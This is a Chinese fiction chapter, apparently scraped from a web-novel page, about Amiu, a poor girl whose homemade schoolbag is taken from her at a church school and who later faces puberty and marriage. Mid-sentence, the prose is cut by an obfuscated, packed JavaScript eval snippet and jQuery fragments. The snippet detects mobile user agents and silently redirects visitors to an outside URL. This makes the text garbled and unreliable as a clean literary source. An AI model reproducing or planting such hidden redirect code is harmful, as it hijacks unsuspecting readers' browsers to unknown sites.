坎特1702年
清晨的小路上，六岁的阿谬今天格外开心，一步一步踢着腿，纵使没有朋友小阿谬拿着一个狗尾巴摇啊摇啊——
今天阿谬有了新书包，是妈妈给她做的。
阿谬的妈妈以前是裁缝，阿谬妈妈给阿谬做的书包精美到和市场上卖的没有区别。
这是一个母亲饱含慈爱，希望这个小小的慰籍能滋润阿谬枯燥的童年，又或许这样可以让阿谬交到朋友。
昨天，书包一做完，阿谬妈妈就笑着让阿谬过来，阿谬背上书包欢天喜地在屋内乱跑着。
现在，身上是带着余温礼物，阿谬蹭蹭书包心满意足地上学。
或许是新书包的缘故，阿谬这一路上都小跑，还扑腾着手臂，像空中展翅的小鸟。
跑了没多久，阿谬就走进欢声笑语的班上。
面对笑容满面的孩童，阿谬也被氛围打动，她故意走得慢悠悠的，动静也大一些，故意拖着鞋子，窸窸窣窣地走过可茜。
可茜立马跑到安妮身旁，拉着安妮的手，走到阿谬面前。而阿谬早已坐在摇晃的椅子上，眯着眼睛看着安妮，再次拥有好朋友的感觉，让阿谬有些紧张，但她一摸到自己的书包就安心很多，仿佛有了勇气。
因为那是妈妈省吃俭用，挺着大肚子一针一线缝了好几个晚上，所以阿谬格外珍惜。
想到这里，阿谬深呼吸，高兴地满脸羞红，抬头。
“阿谬，你买新书包了？”可茜问。
“你书包是哪里买的？”安妮也问。
这一问，全班都看着阿谬，面对同学们的目光阿谬生涩地挠了挠脸，将书包放在桌上，她想翻来包上缝纫的线头，告诉她们：这是妈妈亲手做的。
安妮看了整整齐齐地线头，冷不伶仃说道：“她家哪有钱买。”
可茜点点头偷笑：那就是偷的咯！
“偷”这个字像千斤重的锤子，狠狠地给阿谬当头一棒，她支支吾吾地想解释，但站起脚却软下来，只能瞪大眼睛，咿咿呀呀地喊着。
笑声如潮水般侵蚀着阿谬的话语，她的抗议硬生生地被捂住。
砰——
震耳欲聋的敲击声，冲破嬉笑声，珂琪拉修女用戒尺拍打木门，笑声停了。
这一瞬间，阿谬像是窒息重获空气的人，大口大口吐着断断续续地话语，含糊不清的解释带着哭腔变得诡异又烦闷。
安妮和可茜依旧站在阿谬面前，阿谬红着眼睛，胡乱指着她们，滑稽的模样就像被刺伤的小鹿。
笑声再次响起。
啪——啪——啪——
“安静！”修女咬牙切齿地从口中挤出一句话，这表明她的忍耐到达极限，看着阿谬的蠢样吼出声：
“阿谬，给我站在外面去！”
阿谬不哭了，她的手停在空中。
“现在！马上！”
这道命令死死地禁锢在阿谬身上，阿谬从不反抗别人的要求，反抗就会挨打。这是在家得到的教训。阿谬就像执行命令的机器，掰这手指，跌跌撞撞地跑向门口，忘了将书包放回去。
……
……
阿谬出去了，她站在门口昏昏欲睡，这几天妈妈总会疼得半夜哀嚎，阿谬睡不好觉。看着窗外叽叽喳喳的鸟儿，她本能地紧贴着墙，再滑落进入梦乡……
“珂琪拉修女！阿谬睡着了！”
不知是谁打了小报告，阿谬如临大敌地站得笔直，才知道已经过了早课时间。珂琪拉修女出了教室门，只是斜一眼阿谬冷哼一声。
“又穷又笨的孩子，念再多经书，神也不会看你一眼。”
这句嘲讽仿佛将阿谬定在走廊上，空无一人。
直到前方出现晃荡的小鼻涕虫，小鼻涕虫是一个无父无母的孩子，是小鼻涕虫的奶奶带大。
小鼻涕虫一反常态和阿谬打了招呼，他友好的想阿谬伸出手，阿谬见对方是男生有些扭捏。小鼻涕虫也没多说，张口就问，阿谬能不能帮他看一会儿东西，他想上厕所。
阿谬点点头，伸出手接过——
书包。
书包很像阿谬的。
阿谬愣了很久，只有手指紧紧绞着书包，她想回去看看自己的书包和外面卖的有什么不同。
刚踏出一步，阿谬又想到：要是小鼻涕虫上完厕所看不到书包，会不会着急？
她记得妈妈说过：人要将心比心。
微风拂过阿谬的发梢，小鼻涕虫出来了，阿谬郑重地将书包“还”给小鼻涕虫。小鼻涕虫则是用疑惑地目光打量阿谬，仿佛在看一个傻子。
之后，他拎起包头也不回离开了。
耳旁再次出现几道笑声，阿谬才急忙回到位置。
小阿谬啊，趴在桌上，先是站了一节课，又是等了很久，阿谬只感觉小腿又酸有麻，她想好好休息，往后一靠，一放松——
愣了。
阿谬的书包不见了，教室里传来刺耳的惊叫，几乎是撕裂声带般凄惨，随后惨叫慢慢变为大哭。
阿谬的哭声一点一点、伴随着落叶消失的无影无踪。
不爱说话的阿谬发了疯，她从第一桌的抽屉开始翻，将桌上墨水打翻在地，将摆好的椅子扯得东歪西倒。
阿谬找到了！阿谬找到了！
阿谬想也没想，扑在一个孩童身上，她的眼泪鼻涕流得满脸都是，哭着拉扯男孩背上的书包。男孩被弄得措不及防，嗷嗷大叫，反拉着书包。
“这是我哥哥小鼻涕虫给我的！”
男孩的这句话一出口，阿谬“哇”的一声，从未发出过如此大的哭声，她奋力拉扯着书包。
因为小鼻涕虫根本没有弟弟，这个书包一定时候她的，小鼻涕虫把她的书包送给男孩，所以男孩才叫小鼻涕虫——哥哥！
阿谬终于知道了，小鼻涕虫在厕所外面用看傻子的眼神看她。
她好难过。阿谬爆发了，动手撕扯孩童的手，张开嘴要伤害对方时——
“你们在干什么！”
修女捂着脑袋，一脸困倦地将他们拉到禁闭室。
他们俩都在哭。
一个说：是妈妈给我的。
另一个说：是小鼻涕虫哥哥给我的！
纠纷不下，修女抽出戒尺，打了一下男孩的掌心，也抽了一下阿谬的手臂。
“都别争了！”
修女将书包收好，扔在禁闭室的桌上，修女锐利有神的眼光扫过阿谬，说道：你先回去吧。
就这样，没有过多解释，阿谬捂着被打红的手臂，难过地回去了。
大人们来了，他们接走自己的孩子，背着书包的孩子。只有阿谬周围空空的，她背上也空空的。
但有个好消息是，妈妈破天荒来接阿谬了，妈妈走得很慢，轻轻拉住阿谬的肩膀，肩膀被抽得红肿，小阿谬抽气一下，但阿谬见到妈妈一瞬间，也不痛了，也忍不了，向妈妈哭诉着一切。
女儿的哭声宛如捆紧麻绳，用力拧着母亲的脆弱心脏。
一个没有文化又纯朴的母亲，她能做什么？只能摸了摸阿谬被汗水浸湿的头发，轻声安抚道：没事的不哭，妈妈回去做更好的给你。
母亲的这道承诺更像是敷衍，阿谬知道做一个书包不容易，是省下好几个月才换来的针线，母亲在骗阿谬。
但阿谬知道妈妈已经尽力了，小阿谬停止哭声可还是忍不住颤抖。
妈妈心疼地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265947|177733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伸出手，握紧阿谬冰凉的指尖，月光下一大一小的身影，走在回家的路上，当她们像往常一样经过修道院的篱笆时，阿谬鬼使神差地看向那个悲伤的地方。
男孩的爷爷来了，男孩擦干眼泪，破涕为笑。爷爷乐呵呵地牵着孙子的手，珂琪拉修女站在禁闭室门口，慢悠悠地和他们告别，而老人的肩上背着的是——
阿谬的书包。
阿谬回家了，但她变了，每天躲在被窝里紧紧包裹着自己，任父亲怎么打骂阿谬，她再也不愿去上学。
坎特1717年
春风流淌着儿时的过往，诉说着阿谬的童年，这一年阿谬十五岁，她长大了。
长大是什么？
长大就意味着阿谬没有甜甜的蛋羹。
长大就意味着阿谬有了两个妹妹和一个四岁大的弟弟。
长大就意味着……
今天也是阿谬的生日，但没有人会再次想起。阿谬像往常一样，往滚烫的火炉里塞柴火，锅里沸腾着热水，慢慢的气泡越来越少。
她伸手摸向地板上的柴火。
烧光了，阿谬便起身，准备去不远的安全区再捡一些柴火。
安全区里小屋并不远，几百米就到了。
阿谬她啊，弯着腰，地上的灰尘弄得她的衣服脏兮兮的，难免有些痒。她捡完柴火，却吃力地放下，抓了抓奇痒无比的手臂，每抓出一道红痕她的小臂比越痒，最终阿谬放弃了。
她走在回家的路上，安全区和海岸之间隔着一片小树林，阿谬在这里摔倒过，也在这里哭过。现在，她抱着木头一步一步的走回家。
寂静的林间空气如冰棱般凝固，阿谬听见少男少女的声音。她一紧张，双手没抱稳下意识地松开。谈话声也随即停下，接着是踩着落叶靠近的声音。
本是弯着腰捡着枝木的安眠，听到脚步声变成手脚并，跌跌撞撞地跑爬在暗处，控制自己的故意。
那是安妮，安妮也十五岁了，亭亭玉立，脸上有些婴儿肥，但干净又整洁的脸蛋用上脂粉，嘟着红唇用上唇膏，身上穿着得体的小洋装，与这个小镇格格不入。几个小伙伴也是同样端庄，她们和安妮有一搭没一搭的聊天。
安妮抬起头，周围只有落叶和散落的树枝，没多想安妮就退回小路。
交错的枝叶下，安妮小脸慢慢变红，试探地伸出白皙的小手，伸给最近的男生，那个男生大喜过望，一把抓住安妮的手，紧紧握着，眼里只有对方。
安妮恋爱了。
……
……
嘎吱嘎吱——
许久之后，阿谬确认他们离开之后，她踩着枯叶走出来了，浑身灰蒙蒙的，穿着一个粗布做的短袖，下身是一个及膝的褐色短裤，而一到夏天乌黑的长发就会被剃掉。
空中弥漫着尘土，这味道阿谬感觉昏昏沉沉，她无声地看向自己的手，粗糙的掌心上面有木屑和倒刺，这是她的手，又脏又丑。
没人会愿意牵住她，她也不可能谈恋爱，直到远处冒气的青烟拉回她的思绪，阿谬焦急地捡起柴火一溜烟地跑回家，她用尽全力奔跑着，想要忘记过往的痛苦，大口吸进空气，却满嘴都是灰，迈开双腿死命的蹦着，居然感到一股暖意。
她停了，手软了下去，连呼吸都变得费力。
哐当——
柴火从阿谬手中落下，她失魂落魄地看向自己的下身，温热的液体从她的腿间滑落，在阿谬的大腿内侧拉出一道血痕，触及到空气的瞬间，液体变得侵肉刺骨。
她长大了。
她来月事了。
长大意味着什么？
长大意味着要离开妈妈。
意味着——阿谬要嫁人了。